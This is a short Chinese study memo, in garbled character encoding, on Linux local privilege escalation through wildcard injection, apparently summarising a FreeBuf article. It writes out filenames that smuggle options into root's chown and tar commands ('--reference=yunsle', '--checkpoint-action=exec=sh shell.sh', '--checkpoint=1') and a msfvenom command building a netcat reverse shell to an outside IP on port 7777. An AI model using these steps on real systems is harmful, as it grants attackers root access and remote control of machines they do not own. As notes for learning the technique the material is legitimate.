參考Freebuf上的提權(quán)文章(利用通配符進(jìn)行Linux本地提權(quán)):
http://www.freebuf.com/articles/system/176255.html
以兩個(gè)例子的形式進(jìn)行記錄,作為備忘:
0x01 Chown的--reference特性
存在三個(gè)用戶:root、yunsle和test,假設(shè)這樣一個(gè)場(chǎng)景,root用戶要將/home/test下所有的文件所有者設(shè)置為test,那么yunsle如何通過(guò)root的這樣一個(gè)操作,達(dá)到攻擊目的呢?
文件中目前內(nèi)容如下:

攻擊者yunsle在/home/test下創(chuàng)建兩個(gè)文件,如下:
echo "">yunsle
echo > --reference=yunsle

此時(shí)root用戶在當(dāng)前目錄下執(zhí)行將所有文件擁有者設(shè)置為test的chown命令:
chown -R test:test *

雖然命令執(zhí)行出現(xiàn)了報(bào)錯(cuò),但是再查看文件,發(fā)現(xiàn)擁有者并沒(méi)有修改為test,而是yunsle:

0x02 tar的命令執(zhí)行:--checkpoint-action&--checkpoint
存在兩個(gè)用戶:root、yunsle,其中yunsle是非root組的攻擊者,需要想辦法提升權(quán)限,可以使用tar命令進(jìn)行利用。
如果在cron計(jì)劃中,root用戶存在計(jì)劃執(zhí)行并且使用到了tar命令,或者攻擊者提前知道root會(huì)對(duì)某個(gè)人文件執(zhí)行tar,可以形成攻擊場(chǎng)景。
攻擊者首先自己可以生成一個(gè)反彈shell,如使用msfvenom:
msfvenom -p cmd/unix/reverse_netcat lhost=47.94.37.40 lport=7777 R

并且在接收機(jī)上監(jiān)聽7777端口:

將反彈shell內(nèi)容在目標(biāo)機(jī)上,寫入shell.sh文件:

接下來(lái)再創(chuàng)建兩個(gè)文件:
echo > "--checkpoint-action=exec=sh shell.sh"
echo > --checkpoint=1

此時(shí),root對(duì)當(dāng)前目錄執(zhí)行類似如下的tar操作:
tar -zcf bak.tgz /home/test/*

已經(jīng)成功以root身份執(zhí)行shell.sh,并且將shell反彈至攻擊者服務(wù)器:
